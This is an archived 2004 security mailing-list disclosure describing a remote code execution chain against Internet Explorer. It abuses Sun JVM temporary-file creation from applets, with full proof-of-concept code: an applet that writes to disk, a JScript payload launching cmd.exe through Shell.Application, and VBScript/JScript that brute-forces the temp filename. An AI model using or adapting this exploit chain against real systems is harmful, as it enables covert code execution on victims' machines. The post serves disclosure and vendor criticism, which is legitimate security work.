[Full-Disclosure] IE sucks : sun java virtual machine insecure tmp file creation
From: Jelmer (jkuperus_at_planet.nl)
Date: 07/09/04
- Previous message: bipin gautam: "[Full-Disclosure] Re: Norton AntiVirus Scanner Remote DoS [temp. FIX!] [Part: !!!]"
- Next in thread: 3APA3A: "[Full-Disclosure] Another IE trick (Re: IE sucks : sun java virtual machine insecure tmp file creation)"
- Reply: 3APA3A: "[Full-Disclosure] Another IE trick (Re: IE sucks : sun java virtual machine insecure tmp file creation)"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
To: full-disclosure@lists.netsys.com, bugtraq@securityfocus.com Date: Fri, 09 Jul 2004 14:01:10 +0200
INTRODUCTION
Actually I wasn't really sure if I ought to post this, but after some
consideration I decided that it might serve as an example of the completely
messed up state we find internet explorer in today.
There's a very minor issue with the way the sun java virtual machine creates
temporary files from applets. IE blows it off the chart, combining this with
some unresolved issues in IE can lead to remote code execution
DETAILS
A couple of days back Marc Schoenefeld posted an advisory about an
implementation flaw in the sun java virtual machine.
By passing a specially crafted byte array to the Font.createFont method you
could get the whole vm to crash
My partner in crime HTTP-EQUIV was investigating this report when he noticed
that this demo created a temporary file in his temp folder called
+~JFxxxxx.tmp
Where xxxxx is a random 5 digit number, He mailed me to say hey take a look
at this
I decompiled marcs class and noticed that the .tmp file being created
contained the exact contents of the byte array that got passed to
Font.createFont
Now If you can create a file on someone's disk drive and get your browser to
render it, we've got our selves something
Ok creating an applet that creates the file on a users disk drive is trivial
import java.applet.Applet;
import java.awt.Font;
import java.net.URL;
import netscape.javascript.JSObject;
public class Jelmer extends Applet {
public void init() {
try {
Font f = Font.createFont(Font.TRUETYPE_FONT, new
URL(getParameter("infile")).openStream());
} catch(Exception ignored) {}
try {
JSObject jsWin = JSObject.getWindow(this);
jsWin.call("doneloading", new Object[]{});
} catch(Exception e) {
e.printStackTrace();
}
}
}
This applet creates the file from the url it get's passed as a parameter and
calls the javascript function doneloading when it's done
We opt to store a file with these contents to the temp
<script language=JScript>
o=new ActiveXObject('Shell.Application');
o.ShellExecute('cmd.exe','/c pause');
</script>
Http-equiv's jan 1 Shell.Application bug
http://www.securityfocus.com/archive/1/348688/2003-12-31/2004-01-06/0
Now we have to deal with the random filename, no problem, modern computers
are pretty fast, and the random portion of the filename is only 5 digit's,
Using an old bug
(http://lists.netsys.com/pipermail/full-disclosure/2004-February/016881.html
) to check for the existence of local files we can run thu every possibility
in a couple of seconds like this
<script language="vbscript">
Function Exists(filename)
On Error Resume Next
LoadPicture(filename)
Exists = Err.Number = 481
End Function
</script>
<script language="JScript">
function doneloading() {
dir = 'C:\\Documents and Settings\\USERNAME\\Local Settings\\Temp\\'
for (i=0;i<100000;i++) {
filename = '+~JF' + i + '.tmp'
if (Exists(dir + filename)) {
document.body.insertAdjacentHTML('afterBegin', '<iframe
style="display:none;" src="shell:profile\\Local Settings\\Temp\\' + filename
+ '"></iframe>');
}
}
}
</script>
Bang! We would have remote code execution, well at least if we'd know the
username :) Well that's not an issue either
(http://seclists.org/bugtraq/2004/Jun/0308.html)
It's the final ingredient we needed
DEMO
http://poc.homedns.org/execute.htm
I am aware that this demo will work for some and won't for others, I haven't
been able to put my finger on it as to why this is, you don't have to mail
me if it's not working for you
CONCLUSION
Well what can I say.. I am not even sure if I can blame sun for this, in any
sensible browser this wouldn't have been exploitable
Everything and anything becomes exploitable running in IE it's just that bad
currently
For the love of god people, just stop using IE
Shell.application bug : 7 months old
Local fine enumeration bug : 6 months old
zone spoofing bug : 1 months old
Insecure by design : timeless
In reflection this week an issue was found with the mozilla web browser, it
was dealt with within *2 DAYS*
first discussed FD mailing list: Wed, 7 Jul 2004 11:26:19 -0500
http://lists.netsys.com/pipermail/full-disclosure/2004-July/023573.html
Followup 24 hours later onf FD mailing list: Thu, 8 Jul 2004 15:20:52 -0400
http://lists.netsys.com/pipermail/full-disclosure/2004-July/023639.html
Mozzila Patch annoucement same day on FD:Thu, 8 Jul 2004 22:36:48 GMT
http://lists.netsys.com/pipermail/full-disclosure/2004-July/023645.html
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html
- Previous message: bipin gautam: "[Full-Disclosure] Re: Norton AntiVirus Scanner Remote DoS [temp. FIX!] [Part: !!!]"
- Next in thread: 3APA3A: "[Full-Disclosure] Another IE trick (Re: IE sucks : sun java virtual machine insecure tmp file creation)"
- Reply: 3APA3A: "[Full-Disclosure] Another IE trick (Re: IE sucks : sun java virtual machine insecure tmp file creation)"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
|
|
